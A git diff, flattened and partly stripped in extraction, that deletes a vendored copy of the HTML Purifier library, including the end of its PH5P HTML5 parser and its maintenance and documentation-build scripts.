/* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Process the token as it would be processed in the main phase. */ - $this->mainPhase($token); - - /* A character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. Or a start tag token. Or an end tag token. */ - } elseif(($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || - $token['type'] === HTML5::STARTTAG || $token['type'] === HTML5::ENDTAG) { - /* Parse error. Switch back to the main phase and reprocess the - token. */ - $this->phase = self::MAIN_PHASE; - return $this->mainPhase($token); - - /* An end-of-file token */ - } elseif($token['type'] === HTML5::EOF) { - /* OMG DONE!! */ - } - } - - private function insertElement($token, $append = true) - { - $el = $this->dom->createElement($token['name']); - - foreach($token['attr'] as $attr) { - if(!$el->hasAttribute($attr['name'])) { - $el->setAttribute($attr['name'], $attr['value']); - } - } - - $this->appendToRealParent($el); - $this->stack[] = $el; - - return $el; - } - - private function insertText($data) - { - $text = $this->dom->createTextNode($data); - $this->appendToRealParent($text); - } - - private function insertComment($data) - { - $comment = $this->dom->createComment($data); - $this->appendToRealParent($comment); - } - - private function appendToRealParent($node) - { - if($this->foster_parent === null) { - end($this->stack)->appendChild($node); - - } elseif($this->foster_parent !== null) { - /* If the foster parent element is the parent element of the - last table element in the stack of open elements, then the new - node must be inserted immediately before the last table element - in the stack of open elements in the foster parent element; - otherwise, the new node must be appended to the foster parent - element. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === 'table' && - $this->stack[$n]->parentNode !== null) { - $table = $this->stack[$n]; - break; - } - } - - if(isset($table) && $this->foster_parent->isSameNode($table->parentNode)) - $this->foster_parent->insertBefore($node, $table); - else - $this->foster_parent->appendChild($node); - - $this->foster_parent = null; - } - } - - private function elementInScope($el, $table = false) - { - if(is_array($el)) { - foreach($el as $element) { - if($this->elementInScope($element, $table)) { - return true; - } - } - - return false; - } - - $leng = count($this->stack); - - for($n = 0; $n < $leng; $n++) { - /* 1. Initialise node to be the current node (the bottommost node of - the stack). */ - $node = $this->stack[$leng - 1 - $n]; - - if($node->tagName === $el) { - /* 2. If node is the target node, terminate in a match state. */ - return true; - - } elseif($node->tagName === 'table') { - /* 3. Otherwise, if node is a table element, terminate in a failure - state. */ - return false; - - } elseif($table === true && in_array($node->tagName, array('caption', 'td', - 'th', 'button', 'marquee', 'object'))) { - /* 4. Otherwise, if the algorithm is the "has an element in scope" - variant (rather than the "has an element in table scope" variant), - and node is one of the following, terminate in a failure state. */ - return false; - - } elseif($node === $node->ownerDocument->documentElement) { - /* 5. Otherwise, if node is an html element (root element), terminate - in a failure state. (This can only happen if the node is the topmost - node of the stack of open elements, and prevents the next step from - being invoked if there are no more elements in the stack.) */ - return false; - } - - /* Otherwise, set node to the previous entry in the stack of open - elements and return to step 2. (This will never fail, since the loop - will always terminate in the previous step if the top of the stack - is reached.) */ - } - } - - private function reconstructActiveFormattingElements() - { - /* 1. If there are no entries in the list of active formatting elements, - then there is nothing to reconstruct; stop this algorithm. */ - $formatting_elements = count($this->a_formatting); - - if($formatting_elements === 0) { - return false; - } - - /* 3. Let entry be the last (most recently added) element in the list - of active formatting elements. */ - $entry = end($this->a_formatting); - - /* 2. If the last (most recently added) entry in the list of active - formatting elements is a marker, or if it is an element that is in the - stack of open elements, then there is nothing to reconstruct; stop this - algorithm. */ - if($entry === self::MARKER || in_array($entry, $this->stack, true)) { - return false; - } - - for($a = $formatting_elements - 1; $a >= 0; true) { - /* 4. If there are no entries before entry in the list of active - formatting elements, then jump to step 8. */ - if($a === 0) { - $step_seven = false; - break; - } - - /* 5. Let entry be the entry one earlier than entry in the list of - active formatting elements. */ - $a--; - $entry = $this->a_formatting[$a]; - - /* 6. If entry is neither a marker nor an element that is also in - thetack of open elements, go to step 4. */ - if($entry === self::MARKER || in_array($entry, $this->stack, true)) { - break; - } - } - - while(true) { - /* 7. Let entry be the element one later than entry in the list of - active formatting elements. */ - if(isset($step_seven) && $step_seven === true) { - $a++; - $entry = $this->a_formatting[$a]; - } - - /* 8. Perform a shallow clone of the element entry to obtain clone. */ - $clone = $entry->cloneNode(); - - /* 9. Append clone to the current node and push it onto the stack - of open elements so that it is the new current node. */ - end($this->stack)->appendChild($clone); - $this->stack[] = $clone; - - /* 10. Replace the entry for entry in the list with an entry for - clone. */ - $this->a_formatting[$a] = $clone; - - /* 11. If the entry for clone in the list of active formatting - elements is not the last entry in the list, return to step 7. */ - if(end($this->a_formatting) !== $clone) { - $step_seven = true; - } else { - break; - } - } - } - - private function clearTheActiveFormattingElementsUpToTheLastMarker() - { - /* When the steps below require the UA to clear the list of active - formatting elements up to the last marker, the UA must perform the - following steps: */ - - while(true) { - /* 1. Let entry be the last (most recently added) entry in the list - of active formatting elements. */ - $entry = end($this->a_formatting); - - /* 2. Remove entry from the list of active formatting elements. */ - array_pop($this->a_formatting); - - /* 3. If entry was a marker, then stop the algorithm at this point. - The list has been cleared up to the last marker. */ - if($entry === self::MARKER) { - break; - } - } - } - - private function generateImpliedEndTags(array $exclude = array()) - { - /* When the steps below require the UA to generate implied end tags, - then, if the current node is a dd element, a dt element, an li element, - a p element, a td element, a th element, or a tr element, the UA must - act as if an end tag with the respective tag name had been seen and - then generate implied end tags again. */ - $node = end($this->stack); - $elements = array_diff(array('dd', 'dt', 'li', 'p', 'td', 'th', 'tr'), $exclude); - - while(in_array(end($this->stack)->nodeName, $elements)) { - array_pop($this->stack); - } - } - - private function getElementCategory($name) - { - if(in_array($name, $this->special)) - return self::SPECIAL; - - elseif(in_array($name, $this->scoping)) - return self::SCOPING; - - elseif(in_array($name, $this->formatting)) - return self::FORMATTING; - - else - return self::PHRASING; - } - - private function clearStackToTableContext($elements) - { - /* When the steps above require the UA to clear the stack back to a - table context, it means that the UA must, while the current node is not - a table element or an html element, pop elements from the stack of open - elements. If this causes any elements to be popped from the stack, then - this is a parse error. */ - while(true) { - $node = end($this->stack)->nodeName; - - if(in_array($node, $elements)) { - break; - } else { - array_pop($this->stack); - } - } - } - - private function resetInsertionMode() - { - /* 1. Let last be false. */ - $last = false; - $leng = count($this->stack); - - for($n = $leng - 1; $n >= 0; $n--) { - /* 2. Let node be the last node in the stack of open elements. */ - $node = $this->stack[$n]; - - /* 3. If node is the first node in the stack of open elements, then - set last to true. If the element whose innerHTML attribute is being - set is neither a td element nor a th element, then set node to the - element whose innerHTML attribute is being set. (innerHTML case) */ - if($this->stack[0]->isSameNode($node)) { - $last = true; - } - - /* 4. If node is a select element, then switch the insertion mode to - "in select" and abort these steps. (innerHTML case) */ - if($node->nodeName === 'select') { - $this->mode = self::IN_SELECT; - break; - - /* 5. If node is a td or th element, then switch the insertion mode - to "in cell" and abort these steps. */ - } elseif($node->nodeName === 'td' || $node->nodeName === 'th') { - $this->mode = self::IN_CELL; - break; - - /* 6. If node is a tr element, then switch the insertion mode to - "in row" and abort these steps. */ - } elseif($node->nodeName === 'tr') { - $this->mode = self::IN_ROW; - break; - - /* 7. If node is a tbody, thead, or tfoot element, then switch the - insertion mode to "in table body" and abort these steps. */ - } elseif(in_array($node->nodeName, array('tbody', 'thead', 'tfoot'))) { - $this->mode = self::IN_TBODY; - break; - - /* 8. If node is a caption element, then switch the insertion mode - to "in caption" and abort these steps. */ - } elseif($node->nodeName === 'caption') { - $this->mode = self::IN_CAPTION; - break; - - /* 9. If node is a colgroup element, then switch the insertion mode - to "in column group" and abort these steps. (innerHTML case) */ - } elseif($node->nodeName === 'colgroup') { - $this->mode = self::IN_CGROUP; - break; - - /* 10. If node is a table element, then switch the insertion mode - to "in table" and abort these steps. */ - } elseif($node->nodeName === 'table') { - $this->mode = self::IN_TABLE; - break; - - /* 11. If node is a head element, then switch the insertion mode - to "in body" ("in body"! not "in head"!) and abort these steps. - (innerHTML case) */ - } elseif($node->nodeName === 'head') { - $this->mode = self::IN_BODY; - break; - - /* 12. If node is a body element, then switch the insertion mode to - "in body" and abort these steps. */ - } elseif($node->nodeName === 'body') { - $this->mode = self::IN_BODY; - break; - - /* 13. If node is a frameset element, then switch the insertion - mode to "in frameset" and abort these steps. (innerHTML case) */ - } elseif($node->nodeName === 'frameset') { - $this->mode = self::IN_FRAME; - break; - - /* 14. If node is an html element, then: if the head element - pointer is null, switch the insertion mode to "before head", - otherwise, switch the insertion mode to "after head". In either - case, abort these steps. (innerHTML case) */ - } elseif($node->nodeName === 'html') { - $this->mode = ($this->head_pointer === null) - ? self::BEFOR_HEAD - : self::AFTER_HEAD; - - break; - - /* 15. If last is true, then set the insertion mode to "in body" - and abort these steps. (innerHTML case) */ - } elseif($last) { - $this->mode = self::IN_BODY; - break; - } - } - } - - private function closeCell() - { - /* If the stack of open elements has a td or th element in table scope, - then act as if an end tag token with that tag name had been seen. */ - foreach(array('td', 'th') as $cell) { - if($this->elementInScope($cell, true)) { - $this->inCell(array( - 'name' => $cell, - 'type' => HTML5::ENDTAG - )); - - break; - } - } - } - - public function save() - { - return $this->dom; - } -} diff --git a/vendor/htmlpurifier/maintenance/add-vimline.php b/vendor/htmlpurifier/maintenance/add-vimline.php deleted file mode 100644 index d6a8eb202..000000000 --- a/vendor/htmlpurifier/maintenance/add-vimline.php +++ /dev/null @@ -1,130 +0,0 @@ -#!/usr/bin/php -globr('.', '*'); -foreach ($files as $file) { - if ( - !is_file($file) || - prefix_is('./docs/doxygen', $file) || - prefix_is('./library/standalone', $file) || - prefix_is('./docs/specimens', $file) || - postfix_is('.ser', $file) || - postfix_is('.tgz', $file) || - postfix_is('.patch', $file) || - postfix_is('.dtd', $file) || - postfix_is('.ent', $file) || - postfix_is('.png', $file) || - postfix_is('.ico', $file) || - // wontfix - postfix_is('.vtest', $file) || - postfix_is('.svg', $file) || - postfix_is('.phpt', $file) || - postfix_is('VERSION', $file) || - postfix_is('WHATSNEW', $file) || - postfix_is('configdoc/usage.xml', $file) || - postfix_is('library/HTMLPurifier.includes.php', $file) || - postfix_is('library/HTMLPurifier.safe-includes.php', $file) || - postfix_is('smoketests/xssAttacks.xml', $file) || - // phpt files - postfix_is('.diff', $file) || - postfix_is('.exp', $file) || - postfix_is('.log', $file) || - postfix_is('.out', $file) || - - $file == './library/HTMLPurifier/Lexer/PH5P.php' || - $file == './maintenance/PH5P.php' - ) continue; - $ext = strrchr($file, '.'); - if ( - postfix_is('README', $file) || - postfix_is('LICENSE', $file) || - postfix_is('CREDITS', $file) || - postfix_is('INSTALL', $file) || - postfix_is('NEWS', $file) || - postfix_is('TODO', $file) || - postfix_is('WYSIWYG', $file) || - postfix_is('Changelog', $file) - ) $ext = '.txt'; - if (postfix_is('Doxyfile', $file)) $ext = 'Doxyfile'; - if (postfix_is('.php.in', $file)) $ext = '.php'; - $no_nl = false; - switch ($ext) { - case '.php': - case '.inc': - case '.js': - $line = '// %s'; - break; - case '.html': - case '.xsl': - case '.xml': - case '.htc': - $line = ""; - break; - case '.htmlt': - $no_nl = true; - $line = '--# %s'; - break; - case '.ini': - $line = '; %s'; - break; - case '.css': - $line = '/* %s */'; - break; - case '.bat': - $line = 'rem %s'; - break; - case '.txt': - case '.utf8': - if ( - prefix_is('./library/HTMLPurifier/ConfigSchema', $file) || - prefix_is('./smoketests/test-schema', $file) || - prefix_is('./tests/HTMLPurifier/StringHashParser', $file) - ) { - $no_nl = true; - $line = '--# %s'; - } else { - $line = ' %s'; - } - break; - case 'Doxyfile': - $line = '# %s'; - break; - default: - throw new Exception('Unknown file: ' . $file); - } - - echo "$file\n"; - $contents = file_get_contents($file); - - $regex = '~' . str_replace('%s', 'vim: .+', preg_quote($line, '~')) . '~m'; - $contents = preg_replace($regex, '', $contents); - - $contents = rtrim($contents); - - if (strpos($contents, "\r\n") !== false) $nl = "\r\n"; - elseif (strpos($contents, "\n") !== false) $nl = "\n"; - elseif (strpos($contents, "\r") !== false) $nl = "\r"; - else $nl = PHP_EOL; - - if (!$no_nl) $contents .= $nl; - $contents .= $nl . str_replace('%s', $vimline, $line) . $nl; - - file_put_contents($file, $contents); - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/maintenance/common.php b/vendor/htmlpurifier/maintenance/common.php deleted file mode 100644 index 342bc205a..000000000 --- a/vendor/htmlpurifier/maintenance/common.php +++ /dev/null @@ -1,25 +0,0 @@ -docs/doxygen/info.log 2>docs/doxygen/errors.log -if [ "$?" != 0 ]; then - cat docs/doxygen/errors.log - exit -fi -cd docs -tar czf doxygen.tgz doxygen diff --git a/vendor/htmlpurifier/maintenance/config-scanner.php b/vendor/htmlpurifier/maintenance/config-scanner.php deleted file mode 100644 index c614d1fbc..000000000 --- a/vendor/htmlpurifier/maintenance/config-scanner.php +++ /dev/null @@ -1,155 +0,0 @@ -#!/usr/bin/php -globr('.', '*.php'); -$files = array(); -foreach ($raw_files as $file) { - $file = substr($file, 2); // rm leading './' - if (strncmp('standalone/', $file, 11) === 0) continue; // rm generated files - if (substr_count($file, '.') > 1) continue; // rm meta files - $files[] = $file; -} - -/** - * Moves the $i cursor to the next non-whitespace token - */ -function consumeWhitespace($tokens, &$i) -{ - do {$i++;} while (is_array($tokens[$i]) && $tokens[$i][0] === T_WHITESPACE); -} - -/** - * Tests whether or not a token is a particular type. There are three run-cases: - * - ($token, $expect_token): tests if the token is $expect_token type; - * - ($token, $expect_value): tests if the token is the string $expect_value; - * - ($token, $expect_token, $expect_value): tests if token is $expect_token type, and - * its string representation is $expect_value - */ -function testToken($token, $value_or_token, $value = null) -{ - if (is_null($value)) { - if (is_int($value_or_token)) return is_array($token) && $token[0] === $value_or_token; - else return $token === $value_or_token; - } else { - return is_array($token) && $token[0] === $value_or_token && $token[1] === $value; - } -} - -$counter = 0; -$full_counter = 0; -$tracker = array(); - -foreach ($files as $file) { - $tokens = token_get_all(file_get_contents($file)); - $file = str_replace('\\', '/', $file); - for ($i = 0, $c = count($tokens); $i < $c; $i++) { - $ok = false; - // Match $config - if (!$ok && testToken($tokens[$i], T_VARIABLE, '$config')) $ok = true; - // Match $this->config - while (!$ok && testToken($tokens[$i], T_VARIABLE, '$this')) { - consumeWhitespace($tokens, $i); - if (!testToken($tokens[$i], T_OBJECT_OPERATOR)) break; - consumeWhitespace($tokens, $i); - if (testToken($tokens[$i], T_STRING, 'config')) $ok = true; - break; - } - if (!$ok) continue; - - $ok = false; - for($i++; $i < $c; $i++) { - if ($tokens[$i] === ',' || $tokens[$i] === ')' || $tokens[$i] === ';') { - break; - } - if (is_string($tokens[$i])) continue; - if ($tokens[$i][0] === T_OBJECT_OPERATOR) { - $ok = true; - break; - } - } - if (!$ok) continue; - - $line = $tokens[$i][2]; - - consumeWhitespace($tokens, $i); - if (!testToken($tokens[$i], T_STRING, 'get')) continue; - - consumeWhitespace($tokens, $i); - if (!testToken($tokens[$i], '(')) continue; - - $full_counter++; - - $matched = false; - do { - - // What we currently don't match are batch retrievals, and - // wildcard retrievals. This data might be useful in the future, - // which is why we have a do {} while loop that doesn't actually - // do anything. - - consumeWhitespace($tokens, $i); - if (!testToken($tokens[$i], T_CONSTANT_ENCAPSED_STRING)) continue; - $id = substr($tokens[$i][1], 1, -1); - - $counter++; - $matched = true; - - if (!isset($tracker[$id])) $tracker[$id] = array(); - if (!isset($tracker[$id][$file])) $tracker[$id][$file] = array(); - $tracker[$id][$file][] = $line; - - } while (0); - - //echo "$file:$line uses $namespace.$directive\n"; - } -} - -echo "\n$counter/$full_counter instances of \$config or \$this->config found in source code.\n"; - -echo "Generating XML... "; - -$xw = new XMLWriter(); -$xw->openURI('../configdoc/usage.xml'); -$xw->setIndent(true); -$xw->startDocument('1.0', 'UTF-8'); -$xw->startElement('usage'); -foreach ($tracker as $id => $files) { - $xw->startElement('directive'); - $xw->writeAttribute('id', $id); - foreach ($files as $file => $lines) { - $xw->startElement('file'); - $xw->writeAttribute('name', $file); - foreach ($lines as $line) { - $xw->writeElement('line', $line); - } - $xw->endElement(); - } - $xw->endElement(); -} -$xw->endElement(); -$xw->flush(); - -echo "done!\n"; - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/maintenance/flush-definition-cache.php b/vendor/htmlpurifier/maintenance/flush-definition-cache.php deleted file mode 100644 index 138badb65..000000000 --- a/vendor/htmlpurifier/maintenance/flush-definition-cache.php +++ /dev/null @@ -1,42 +0,0 @@ -#!/usr/bin/php -flush($config); -} - -echo "Cache flushed successfully.\n"; - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/maintenance/flush.php b/vendor/htmlpurifier/maintenance/flush.php deleted file mode 100644 index c0853d230..000000000 --- a/vendor/htmlpurifier/maintenance/flush.php +++ /dev/null @@ -1,30 +0,0 @@ -#!/usr/bin/php -/'; - -foreach ( $entity_files as $file ) { - $contents = file_get_contents($entity_dir . $file); - $matches = array(); - preg_match_all($regexp, $contents, $matches, PREG_SET_ORDER); - foreach ($matches as $match) { - $entity_table[$match[1]] = unichr($match[2]); - } -} - -$output = serialize($entity_table); - -$fh = fopen($output_file, 'w'); -fwrite($fh, $output); -fclose($fh); - -echo "Completed successfully."; - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/maintenance/generate-includes.php b/vendor/htmlpurifier/maintenance/generate-includes.php deleted file mode 100644 index 01e1c2aba..000000000 --- a/vendor/htmlpurifier/maintenance/generate-includes.php +++ /dev/null @@ -1,192 +0,0 @@ -#!/usr/bin/php -globr('.', '*.php'); -if (!$raw_files) throw new Exception('Did not find any PHP source files'); -$files = array(); -foreach ($raw_files as $file) { - $file = substr($file, 2); // rm leading './' - if (strncmp('standalone/', $file, 11) === 0) continue; // rm generated files - if (substr_count($file, '.') > 1) continue; // rm meta files - $ok = true; - foreach ($exclude_dirs as $dir) { - if (strncmp($dir, $file, strlen($dir)) === 0) { - $ok = false; - break; - } - } - if (!$ok) continue; // rm excluded directories - if (in_array($file, $exclude_files)) continue; // rm excluded files - $files[] = $file; -} -echo "done!\n"; - -// Reorder list so that dependencies are included first: - -/** - * Returns a lookup array of dependencies for a file. - * - * @note This function expects that format $name extends $parent on one line - * - * @param string $file - * File to check dependencies of. - * @return array - * Lookup array of files the file is dependent on, sorted accordingly. - */ -function get_dependency_lookup($file) -{ - static $cache = array(); - if (isset($cache[$file])) return $cache[$file]; - if (!file_exists($file)) { - echo "File doesn't exist: $file\n"; - return array(); - } - $fh = fopen($file, 'r'); - $deps = array(); - while (!feof($fh)) { - $line = fgets($fh); - if (strncmp('class', $line, 5) === 0) { - // The implementation here is fragile and will break if we attempt - // to use interfaces. Beware! - $arr = explode(' extends ', trim($line, ' {'."\n\r"), 2); - if (count($arr) < 2) break; - $parent = $arr[1]; - $dep_file = HTMLPurifier_Bootstrap::getPath($parent); - if (!$dep_file) break; - $deps[$dep_file] = true; - break; - } - } - fclose($fh); - foreach (array_keys($deps) as $file) { - // Extra dependencies must come *before* base dependencies - $deps = get_dependency_lookup($file) + $deps; - } - $cache[$file] = $deps; - return $deps; -} - -/** - * Sorts files based on dependencies. This function is lazy and will not - * group files with dependencies together; it will merely ensure that a file - * is never included before its dependencies are. - * - * @param $files - * Files array to sort. - * @return - * Sorted array ($files is not modified by reference!) - */ -function dep_sort($files) -{ - $ret = array(); - $cache = array(); - foreach ($files as $file) { - if (isset($cache[$file])) continue; - $deps = get_dependency_lookup($file); - foreach (array_keys($deps) as $dep) { - if (!isset($cache[$dep])) { - $ret[] = $dep; - $cache[$dep] = true; - } - } - $cache[$file] = true; - $ret[] = $file; - } - return $ret; -} - -$files = dep_sort($files); - -// Build the actual include stub: - -$version = trim(file_get_contents('../VERSION')); - -// stub -$php = " PH5P.patch"); -unlink($newt); - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/maintenance/generate-schema-cache.php b/vendor/htmlpurifier/maintenance/generate-schema-cache.php deleted file mode 100644 index 339ff12da..000000000 --- a/vendor/htmlpurifier/maintenance/generate-schema-cache.php +++ /dev/null @@ -1,45 +0,0 @@ -#!/usr/bin/php -buildDir($interchange); - -$loader = dirname(__FILE__) . '/../config-schema.php'; -if (file_exists($loader)) include $loader; -foreach ($_SERVER['argv'] as $i => $dir) { - if ($i === 0) continue; - $builder->buildDir($interchange, realpath($dir)); -} - -$interchange->validate(); - -$schema_builder = new HTMLPurifier_ConfigSchema_Builder_ConfigSchema(); -$schema = $schema_builder->build($interchange); - -echo "Saving schema... "; -file_put_contents($target, serialize($schema)); -echo "done!\n"; - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/maintenance/generate-standalone.php b/vendor/htmlpurifier/maintenance/generate-standalone.php deleted file mode 100644 index 254d4d83b..000000000 --- a/vendor/htmlpurifier/maintenance/generate-standalone.php +++ /dev/null @@ -1,159 +0,0 @@ -#!/usr/bin/php -copyr($dir, 'standalone/' . $dir); -} - -/** - * Copies the contents of a file to the standalone directory - * @param string $file File to copy - */ -function make_file_standalone($file) -{ - global $FS; - $FS->mkdirr('standalone/' . dirname($file)); - copy_and_remove_includes($file, 'standalone/' . $file); - return true; -} - -/** - * Copies a file to another location recursively, if it is a PHP file - * remove includes - * @param string $file Original file - * @param string $sfile New location of file - */ -function copy_and_remove_includes($file, $sfile) -{ - $contents = file_get_contents($file); - if (strrchr($file, '.') === '.php') $contents = replace_includes($contents); - return file_put_contents($sfile, $contents); -} - -/** - * @param $matches preg_replace_callback matches array, where index 1 - * is the filename to include - */ -function replace_includes_callback($matches) -{ - $file = $matches[1]; - $preserve = array( - // PEAR (external) - 'XML/HTMLSax3.php' => 1 - ); - if (isset($preserve[$file])) { - return $matches[0]; - } - if (isset($GLOBALS['loaded'][$file])) return ''; - $GLOBALS['loaded'][$file] = true; - return replace_includes(remove_php_tags(file_get_contents($file))); -} - -echo 'Generating includes file... '; -shell_exec('php generate-includes.php'); -echo "done!\n"; - -chdir(dirname(__FILE__) . '/../library/'); - -echo 'Creating full file...'; -$contents = replace_includes(file_get_contents('HTMLPurifier.includes.php')); -$contents = str_replace( - // Note that bootstrap is now inside the standalone file - "define('HTMLPURIFIER_PREFIX', realpath(dirname(__FILE__) . '/..'));", - "define('HTMLPURIFIER_PREFIX', dirname(__FILE__) . '/standalone'); - set_include_path(HTMLPURIFIER_PREFIX . PATH_SEPARATOR . get_include_path());", - $contents -); -file_put_contents('HTMLPurifier.standalone.php', $contents); -echo ' done!' . PHP_EOL; - -echo 'Creating standalone directory...'; -$FS->rmdirr('standalone'); // ensure a clean copy - -// data files -$FS->mkdirr('standalone/HTMLPurifier/DefinitionCache/Serializer'); -make_file_standalone('HTMLPurifier/EntityLookup/entities.ser'); -make_file_standalone('HTMLPurifier/ConfigSchema/schema.ser'); - -// non-standard inclusion setup -make_dir_standalone('HTMLPurifier/ConfigSchema'); -make_dir_standalone('HTMLPurifier/Language'); -make_dir_standalone('HTMLPurifier/Filter'); -make_dir_standalone('HTMLPurifier/Printer'); -make_file_standalone('HTMLPurifier/Printer.php'); -make_file_standalone('HTMLPurifier/Lexer/PH5P.php'); - -echo ' done!' . PHP_EOL; - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/maintenance/merge-library.php b/vendor/htmlpurifier/maintenance/merge-library.php deleted file mode 100644 index de2eecdc0..000000000 --- a/vendor/htmlpurifier/maintenance/merge-library.php +++ /dev/null @@ -1,11 +0,0 @@ -#!/usr/bin/php -open('w'); - $multiline = false; - foreach ($hash as $key => $value) { - $multiline = $multiline || (strpos($value, "\n") !== false); - if ($multiline) { - $file->put("--$key--" . PHP_EOL); - $file->put(str_replace("\n", PHP_EOL, $value) . PHP_EOL); - } else { - if ($key == 'ID') { - $file->put("$value" . PHP_EOL); - } else { - $file->put("$key: $value" . PHP_EOL); - } - } - } - $file->close(); -} - -$schema = HTMLPurifier_ConfigSchema::instance(); -$adapter = new HTMLPurifier_ConfigSchema_StringHashReverseAdapter($schema); - -foreach ($schema->info as $ns => $ns_array) { - saveHash($adapter->get($ns)); - foreach ($ns_array as $dir => $x) { - saveHash($adapter->get($ns, $dir)); - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/maintenance/old-remove-require-once.php b/vendor/htmlpurifier/maintenance/old-remove-require-once.php deleted file mode 100644 index f47c7d0f1..000000000 --- a/vendor/htmlpurifier/maintenance/old-remove-require-once.php +++ /dev/null @@ -1,32 +0,0 @@ -#!/usr/bin/php -globr('.', '*.php'); -foreach ($files as $file) { - if (substr_count(basename($file), '.') > 1) continue; - $old_code = file_get_contents($file); - $new_code = preg_replace("#^require_once .+[\n\r]*#m", '', $old_code); - if ($old_code !== $new_code) { - file_put_contents($file, $new_code); - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/maintenance/old-remove-schema-def.php b/vendor/htmlpurifier/maintenance/old-remove-schema-def.php deleted file mode 100644 index 5ae031973..000000000 --- a/vendor/htmlpurifier/maintenance/old-remove-schema-def.php +++ /dev/null @@ -1,32 +0,0 @@ -#!/usr/bin/php -globr('.', '*.php'); -foreach ($files as $file) { - if (substr_count(basename($file), '.') > 1) continue; - $old_code = file_get_contents($file); - $new_code = preg_replace("#^HTMLPurifier_ConfigSchema::.+?\);[\n\r]*#ms", '', $old_code); - if ($old_code !== $new_code) { - file_put_contents($file, $new_code); - } - if (preg_match('#^\s+HTMLPurifier_ConfigSchema::#m', $new_code)) { - echo "Indented ConfigSchema call in $file\n"; - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/maintenance/regenerate-docs.sh b/vendor/htmlpurifier/maintenance/regenerate-docs.sh deleted file mode 100644 index 6f4d720ff..000000000 --- a/vendor/htmlpurifier/maintenance/regenerate-docs.sh +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/bash -e -./compile-doxygen.sh -cd ../docs -scp doxygen.tgz htmlpurifier.org:/home/ezyang/htmlpurifier.org -ssh htmlpurifier.org "cd /home/ezyang/htmlpurifier.org && ./reload-docs.sh" diff --git a/vendor/htmlpurifier/maintenance/remove-trailing-whitespace.php b/vendor/htmlpurifier/maintenance/remove-trailing-whitespace.php deleted file mode 100644 index 857870546..000000000 --- a/vendor/htmlpurifier/maintenance/remove-trailing-whitespace.php +++ /dev/null @@ -1,37 +0,0 @@ -#!/usr/bin/php -globr('.', '{,.}*', GLOB_BRACE); -foreach ($files as $file) { - if ( - !is_file($file) || - prefix_is('./.git', $file) || - prefix_is('./docs/doxygen', $file) || - postfix_is('.ser', $file) || - postfix_is('.tgz', $file) || - postfix_is('.patch', $file) || - postfix_is('.dtd', $file) || - postfix_is('.ent', $file) || - $file == './library/HTMLPurifier/Lexer/PH5P.php' || - $file == './maintenance/PH5P.php' - ) continue; - $contents = file_get_contents($file); - $result = preg_replace('/^(.*?)[ \t]+(\r?)$/m', '\1\2', $contents, -1, $count); - if (!$count) continue; - echo "$file\n"; - file_put_contents($file, $result); -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/maintenance/rename-config.php b/vendor/htmlpurifier/maintenance/rename-config.php deleted file mode 100644 index 6e59e2a79..000000000 --- a/vendor/htmlpurifier/maintenance/rename-config.php +++ /dev/null @@ -1,84 +0,0 @@ -#!/usr/bin/php -buildFile($interchange, $file); -$contents = file_get_contents($file); - -if (strpos($contents, "\r\n") !== false) { - $nl = "\r\n"; -} elseif (strpos($contents, "\r") !== false) { - $nl = "\r"; -} else { - $nl = "\n"; -} - -// replace name with new name -$contents = str_replace($old, $new, $contents); - -if ($interchange->directives[$old]->aliases) { - $pos_alias = strpos($contents, 'ALIASES:'); - $pos_ins = strpos($contents, $nl, $pos_alias); - if ($pos_ins === false) $pos_ins = strlen($contents); - $contents = - substr($contents, 0, $pos_ins) . ", $old" . substr($contents, $pos_ins); - file_put_contents($file, $contents); -} else { - $lines = explode($nl, $contents); - $insert = false; - foreach ($lines as $n => $line) { - if (strncmp($line, '--', 2) === 0) { - $insert = $n; - break; - } - } - if (!$insert) { - $lines[] = "ALIASES: $old"; - } else { - array_splice($lines, $insert, 0, "ALIASES: $old"); - } - file_put_contents($file, implode($nl, $lines)); -} - -rename("$old.txt", "$new.txt") || exit(1); diff --git a/vendor/htmlpurifier/maintenance/update-config.php b/vendor/htmlpurifier/maintenance/update-config.php deleted file mode 100644 index 2d8a7a9c1..000000000 --- a/vendor/htmlpurifier/maintenance/update-config.php +++ /dev/null @@ -1,34 +0,0 @@ -#!/usr/bin/php -set and $config->get to the new - * format, as described by docs/dev-config-bcbreaks.txt - */ - -$FS = new FSTools(); -chdir(dirname(__FILE__) . '/..'); -$raw_files = $FS->globr('.', '*.php'); -foreach ($raw_files as $file) { - $file = substr($file, 2); // rm leading './' - if (strpos($file, 'library/standalone/') === 0) continue; - if (strpos($file, 'maintenance/update-config.php') === 0) continue; - if (strpos($file, 'test-settings.php') === 0) continue; - if (substr_count($file, '.') > 1) continue; // rm meta files - // process the file - $contents = file_get_contents($file); - $contents = preg_replace( - "#config->(set|get)\('(.+?)', '(.+?)'#", - "config->\\1('\\2.\\3'", - $contents - ); - if ($contents === '') continue; - file_put_contents($file, $contents); -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/smoketests/all.php b/vendor/htmlpurifier/smoketests/all.php deleted file mode 100644 index 507034b93..000000000 --- a/vendor/htmlpurifier/smoketests/all.php +++ /dev/null @@ -1,44 +0,0 @@ -'; - -?> - - - HTML Purifier: All Smoketests - - - - -

    HTML Purifier: All Smoketests

    -
    - - - -
    - - - - - - HTML Purifier Attribute Transformation Smoketest - - - - -

